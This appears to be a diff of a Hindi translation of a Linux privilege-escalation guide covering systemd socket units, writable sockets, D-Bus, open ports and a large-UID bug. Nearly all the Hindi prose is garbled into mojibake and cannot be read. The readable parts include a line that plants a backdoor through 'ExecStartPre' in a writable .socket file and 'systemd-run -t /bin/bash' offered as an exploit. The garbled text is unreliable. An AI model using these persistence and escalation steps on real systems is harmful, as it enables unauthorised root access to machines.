`ListenUSBFunction`: рдпреЗ рд╡рд┐рдХрд▓реНрдк рднрд┐рдиреНрди рд╣реИрдВ рд▓реЗрдХрд┐рди рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ **рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕реЙрдХреЗрдЯ рдкрд░ рдХрд╣рд╛рдВ рд╕реБрдирдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ** (AF_UNIX рд╕реЙрдХреЗрдЯ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде, рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП IPv4/6 рдФрд░/рдпрд╛ рдкреЛрд░реНрдЯ рдирдВрдмрд░, рдЖрджрд┐) +- `Accept`: рдПрдХ рдмреВрд▓рд┐рдпрди рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИред рдпрджрд┐ **рд╕рддреНрдп**, рддреЛ **рдкреНрд░рддреНрдпреЗрдХ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реЗрд╡рд╛ рдЙрджрд╛рд╣рд░рдг рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ** рдФрд░ рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди рд╕реЙрдХреЗрдЯ рдЗрд╕реЗ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ **рдЭреВрда**, рддреЛ рд╕рднреА рд╕реБрдирдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдХреЗрдЯ рд╕реНрд╡рдпрдВ **рд╢реБрд░реВ рдХреА рдЧрдИ рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ** рдХреЛ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред рдпрд╣ рдорд╛рди рдбрд╛рдЯрд╛рдЧреНрд░рд╛рдо рд╕реЙрдХреЗрдЯ рдФрд░ FIFOs рдХреЗ рд▓рд┐рдП рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдПрдХрд▓ рд╕реЗрд╡рд╛ рдЗрдХрд╛рдИ рдмрд┐рдирд╛ рд╢рд░реНрдд рд╕рднреА рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕рдВрднрд╛рд▓рддреА рд╣реИред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЭреВрдард╛**ред рдкреНрд░рджрд░реНрд╢рди рдХрд╛рд░рдгреЛрдВ рд╕реЗ, рдирдП рдбреЗрдордиреЛрдВ рдХреЛ рдХреЗрд╡рд▓ `Accept=no` рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рддрд░реАрдХреЗ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред - `ExecStartPre`, `ExecStartPost`: рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдХрдорд╛рдВрдб рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рд▓реЗрддрд╛ рд╣реИ, рдЬреЛ **рд╕реБрдирдиреЗ рд╡рд╛рд▓реЗ** **рд╕реЙрдХреЗрдЯ**/FIFOs рдХреЗ **рдирд┐рд░реНрдорд╛рдг** рдФрд░ рдмрдВрдзрди рд╕реЗ рдкрд╣рд▓реЗ рдпрд╛ рдмрд╛рдж рдореЗрдВ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрддреЗ рд╣реИрдВред рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдХрд╛ рдкрд╣рд▓рд╛ рдЯреЛрдХрди рдПрдХ рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЙрд╕рдХреЗ рдмрд╛рдж рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рддрд░реНрдХ рд╣реЛрддреЗ рд╣реИрдВред - `ExecStopPre`, `ExecStopPost`: рдЕрддрд┐рд░рд┐рдХреНрдд **рдХрдорд╛рдВрдб** рдЬреЛ **рд╕реБрдирдиреЗ рд╡рд╛рд▓реЗ** **рд╕реЙрдХреЗрдЯ**/FIFOs рдХреЗ **рдмрдВрдж** рдФрд░ рд╣рдЯрд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╛ рдмрд╛рдж рдореЗрдВ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрддреЗ рд╣реИрдВред -- `Service`: **рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ** рдкрд░ **рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП **рд╕реЗрд╡рд╛** рдЗрдХрд╛рдИ рдХрд╛ рдирд╛рдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗрд╡рд▓ рдЙрди рд╕реЙрдХреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рд╣реИ рдЬрд┐рдирдХрд╛ Accept=no рд╣реИред рдпрд╣ рдЙрд╕ рд╕реЗрд╡рд╛ рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рд╕реЙрдХреЗрдЯ рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ (рд╕ suffixed рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред +- `Service`: **рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ** рдкрд░ **рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП **рд╕реЗрд╡рд╛** рдЗрдХрд╛рдИ рдХрд╛ рдирд╛рдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗрд╡рд▓ рдЙрди рд╕реЙрдХреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рд╣реИ рдЬрд┐рдирдХрд╛ Accept=no рд╣реИред рдпрд╣ рдЙрд╕ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рд╕реЙрдХреЗрдЯ рдХреЗ рд╕рдорд╛рди рд╣реИ (рд╕ suffixed рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ)ред рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред ### Writable .socket files -рдпрджрд┐ рдЖрдк рдПрдХ **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп** `.socket` рдлрд╝рд╛рдЗрд▓ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк `[Socket]` рдЕрдиреБрднрд╛рдЧ рдХреЗ рд╢реБрд░реВ рдореЗрдВ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: `ExecStartPre=/home/kali/sys/backdoor` рдФрд░ рдмреИрдХрдбреЛрд░ рд╕реЙрдХреЗрдЯ рдХреЗ рдирд┐рд░реНрдорд╛рдг рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╕рдВрднрд╡рддрдГ рдорд╢реАрди рдХреЗ рдкреБрдирд░рд╛рд░рдВрдн рд╣реЛрдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреА рд╣реЛрдЧреАред**\ +рдпрджрд┐ рдЖрдк рдПрдХ **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп** `.socket` рдлрд╝рд╛рдЗрд▓ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк `[Socket]` рдЕрдиреБрднрд╛рдЧ рдХреЗ рд╢реБрд░реВ рдореЗрдВ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: `ExecStartPre=/home/kali/sys/backdoor` рдФрд░ рдмреИрдХрдбреЛрд░ рд╕реЙрдХреЗрдЯ рдХреЗ рдирд┐рд░реНрдорд╛рдг рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╕рдВрднрд╡рддрдГ рдорд╢реАрди рдХреЗ рдкреБрдирд░рд╛рд░рдВрдн рд╣реЛрдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреА рд╣реЛрдЧреАред**\ _рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЙрд╕ рд╕реЙрдХреЗрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛_ ### Writable sockets @@ -481,11 +481,11 @@ socket-command-injection.md ### HTTP рд╕реЙрдХреЗрдЯ -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреБрдЫ **рд╕реЙрдХреЗрдЯ HTTP** рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реБрди рд░рд╣реЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (_рдореИрдВ .socket рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдмрд╛рдд рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реВрдБ рдмрд▓реНрдХрд┐ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдмрд╛рдд рдХрд░ рд░рд╣рд╛ рд╣реВрдБ рдЬреЛ рдпреВрдирд┐рдХреНрд╕ рд╕реЙрдХреЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИрдВ_)ред рдЖрдк рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреБрдЫ **рд╕реЙрдХреЗрдЯ HTTP** рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реБрди рд░рд╣реЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (_рдореИрдВ .socket рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдмрд╛рдд рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реВрдБ рдмрд▓реНрдХрд┐ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЬреЛ рдпреВрдирд┐рдХреНрд╕ рд╕реЙрдХреЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд░рд╣реА рд╣реИрдВ_)ред рдЖрдк рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -рдпрджрд┐ рд╕реЙрдХреЗрдЯ **HTTP** рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде **рд╕рдВрд╡рд╛рдж** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд╛рдпрдж **рдХреБрдЫ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ**ред +рдпрджрд┐ рд╕реЙрдХреЗрдЯ **HTTP** рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде **рд╕рдВрд╡рд╛рдж** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд╛рдпрдж **рдХреБрдЫ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн** рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред ### Writable Docker Socket @@ -562,11 +562,11 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus рдПрдХ рдЬрдЯрд┐рд▓ **рдЗрдВрдЯрд░-рдкреНрд░реЛрд╕реЗрд╕ рдХрдореНрдпреБрдирд┐рдХреЗрд╢рди (IPC) рд╕рд┐рд╕реНрдЯрдо** рд╣реИ рдЬреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдХреБрд╢рд▓рддрд╛ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдФрд░ рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред рдЗрд╕реЗ рдЖрдзреБрдирд┐рдХ рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдХрд░ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдордЬрдмреВрдд рдврд╛рдВрдЪрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +D-Bus рдПрдХ рдЬрдЯрд┐рд▓ **рдЗрдВрдЯрд░-рдкреНрд░реЛрд╕реЗрд╕ рдХрдореНрдпреБрдирд┐рдХреЗрд╢рди (IPC) рд╕рд┐рд╕реНрдЯрдо** рд╣реИ рдЬреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдФрд░ рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред рдЗрд╕реЗ рдЖрдзреБрдирд┐рдХ рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдордЬрдмреВрдд рдврд╛рдВрдЪрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдгрд╛рд▓реА рдмрд╣реБрдкрд░рдХрд╛рд░реА рд╣реИ, рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рд╡рд┐рдирд┐рдордп рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмреБрдирд┐рдпрд╛рджреА IPC рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреА рд╣реИ, рдЬреЛ **рд╕реБрдзрд╛рд░рд┐рдд UNIX рдбреЛрдореЗрди рд╕реЙрдХреЗрдЯреНрд╕** рдХреА рдпрд╛рдж рджрд┐рд▓рд╛рддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдШрдЯрдирд╛рдУрдВ рдпрд╛ рд╕рдВрдХреЗрддреЛрдВ рдХрд╛ рдкреНрд░рд╕рд╛рд░рдг рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдШрдЯрдХреЛрдВ рдХреЗ рдмреАрдЪ рдирд┐рд░реНрдмрд╛рдз рдПрдХреАрдХрд░рдг рдХреЛ рдмрдврд╝рд╛рд╡рд╛ рдорд┐рд▓рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдЗрдирдХрдорд┐рдВрдЧ рдХреЙрд▓ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмреНрд▓реВрдЯреВрде рдбреЗрдорди рд╕реЗ рдПрдХ рд╕рдВрдХреЗрдд рдПрдХ рдореНрдпреВрдЬрд┐рдХ рдкреНрд▓реЗрдпрд░ рдХреЛ рдореНрдпреВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрднрд╡ рдореЗрдВ рд╕реБрдзрд╛рд░ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, D-Bus рдПрдХ рджреВрд░рд╕реНрде рдСрдмреНрдЬреЗрдХреНрдЯ рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рд╕реЗрд╡рд╛ рдЕрдиреБрд░реЛрдзреЛрдВ рдФрд░ рд╡рд┐рдзрд┐ рдХреЙрд▓ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЙрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕реБрд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЬрдЯрд┐рд▓ рдереАрдВред -D-Bus рдПрдХ **рдЕрдиреБрдорддрд┐/рдирд┐рд╖реЗрдз рдореЙрдбрд▓** рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрджреЗрд╢ рдЕрдиреБрдорддрд┐рдпреЛрдВ (рд╡рд┐рдзрд┐ рдХреЙрд▓, рд╕рдВрдХреЗрдд рдЙрддреНрд╕рд░реНрдЬрди, рдЖрджрд┐) рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдиреАрддрд┐ рдирд┐рдпрдореЛрдВ рдХреЗ рдорд┐рд▓рди рдХреЗ рдкреНрд░рднрд╛рд╡ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпреЗ рдиреАрддрд┐рдпрд╛рдБ рдмрд╕ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреА рд╣реИрдВ, рдЬреЛ рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╢реЛрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИрдВред +D-Bus рдПрдХ **рдЕрдиреБрдорддрд┐/рдирд┐рд╖реЗрдз рдореЙрдбрд▓** рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрджреЗрд╢ рдЕрдиреБрдорддрд┐рдпреЛрдВ (рд╡рд┐рдзрд┐ рдХреЙрд▓, рд╕рдВрдХреЗрдд рдЙрддреНрд╕рд░реНрдЬрди, рдЖрджрд┐) рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдиреАрддрд┐ рдирд┐рдпрдореЛрдВ рдХреЗ рдорд┐рд▓рди рдХреЗ рд╕рдВрдЪрдпреА рдкреНрд░рднрд╛рд╡ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╣реЛрддрд╛ рд╣реИред рдпреЗ рдиреАрддрд┐рдпрд╛рдБ рдмрд╕ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреА рд╣реИрдВ, рдЬреЛ рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╢реЛрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИрдВред `/etc/dbus-1/system.d/wpa_supplicant.conf` рдореЗрдВ рдРрд╕реА рдиреАрддрд┐ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП `fi.w1.wpa_supplicant1` рд╕реЗ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ, рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд░рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЛ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдмрддрд╛рддрд╛ рд╣реИред @@ -614,7 +614,7 @@ lsof -i ``` ### Open ports -рд╣рдореЗрд╢рд╛ рдЙрд╕ рдорд╢реАрди рдкрд░ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдЬрд┐рдирд╕реЗ рдЖрдк рдкрд╣рд▓реЗ рдмрд╛рддрдЪреАрдд рдирд╣реАрдВ рдХрд░ рд╕рдХреЗ: +рд╣рдореЗрд╢рд╛ рдЙрди рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдЬреЛ рдорд╢реАрди рдкрд░ рдЪрд▓ рд░рд╣реА рд╣реИрдВ рдЬрд┐рдирд╕реЗ рдЖрдк рдкрд╣рд▓реЗ рдмрд╛рддрдЪреАрдд рдирд╣реАрдВ рдХрд░ рд╕рдХреЗ: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" @@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -рдХреБрдЫ Linux рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдереЗ рдЬреЛ **UID > INT_MAX** рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [рдпрд╣рд╛рдБ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [рдпрд╣рд╛рдБ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) рдФрд░ [рдпрд╣рд╛рдБ](https://twitter.com/paragonsec/status/1071152249529884674)ред\ +рдХреБрдЫ Linux рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдереЗ рдЬреЛ **UID > INT_MAX** рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [рдпрд╣рд╛рдБ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [рдпрд╣рд╛рдБ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) рдФрд░ [рдпрд╣рд╛рдБ](https://twitter.com/paragonsec/status/1071152249529884674).\ **рдЗрд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░реЗрдВ**: **`systemd-run -t /bin/bash`** ### Groups @@ -683,18 +683,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### рдЬреНрдЮрд╛рдд рдкрд╛рд╕рд╡рд░реНрдб -рдпрджрд┐ рдЖрдк **рдкрд░реНрдпрд╛рд╡рд░рдг рдХрд╛ рдХреЛрдИ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирддреЗ рд╣реИрдВ** рддреЛ **рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ**ред +рдпрджрд┐ рдЖрдк **рдкрд░реНрдпрд╛рд╡рд░рдг рдХрд╛ рдХреЛрдИ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирддреЗ рд╣реИрдВ** рддреЛ **рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ** рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред ### 